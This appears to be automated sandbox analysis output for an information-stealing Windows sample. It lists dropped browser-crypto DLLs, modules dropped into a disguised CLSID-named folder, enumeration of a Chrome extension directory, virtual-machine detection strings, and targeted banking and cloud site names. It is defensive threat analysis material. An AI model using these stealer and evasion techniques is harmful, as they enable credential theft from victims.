Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: GetLastError,EnumServicesStatusExA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strcpy,

23_2_00007FFDA38C7694

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	23_2_00007FFDA38960C8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	23_2_00007FFDA38CB648
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	23_2_00007FFDAC0A2738
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	23_2_00007FFDAC0D30A8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	23_2_00007FFDAC0F4978
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	23_2_00007FFDAC121D98

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\g29qQU9G	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\Lx9RtFcl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\KXEmxT2p	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\S7evpAMe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\h0yu5TYE	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\1kuzcKGx	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\FHLBnhuN	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\fJw4qvYl	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\feJ0dymt	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\file.exe

API coverage: 6.4 %

Source: C:\ProgramData\BFCAAEHJDB.exe TID: 3616	Thread sleep count: 103 > 30	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe TID: 3616	Thread sleep time: -6180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 5140	Thread sleep count: 85 > 30	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 3756	Thread sleep count: 58 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1112	Thread sleep count: 52 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 7132	Thread sleep count: 41 > 30

Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\ProgramData\BFCAAEHJDB.exe	Last function: Thread delayed
Source: C:\ProgramData\BFCAAEHJDB.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Last function: Thread delayed
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,LoadLibraryW,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401110
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004099F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040A2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004156C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040C2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00415EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_00414F80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B390
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00409D40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00415A70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040AAB0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FF6209447F3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FF6209447F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA389A0D3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDA389A0D3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38C1883 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDA38C1883
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0A5BF3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC0A5BF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0D5803 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC0D5803
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0F5253 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC0F5253
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC122FE3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC122FE3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004153C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_004153C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040FDA0 GetSystemInfo,wsprintfA,

0_2_0040FDA0

Source: C:\ProgramData\BFCAAEHJDB.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.00000000024B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: main.exe, 00000017.00000002.3440076438.000001E397F57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000000.00000002.2762253914.00000000024B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2762253914.00000000024B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareTZ
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
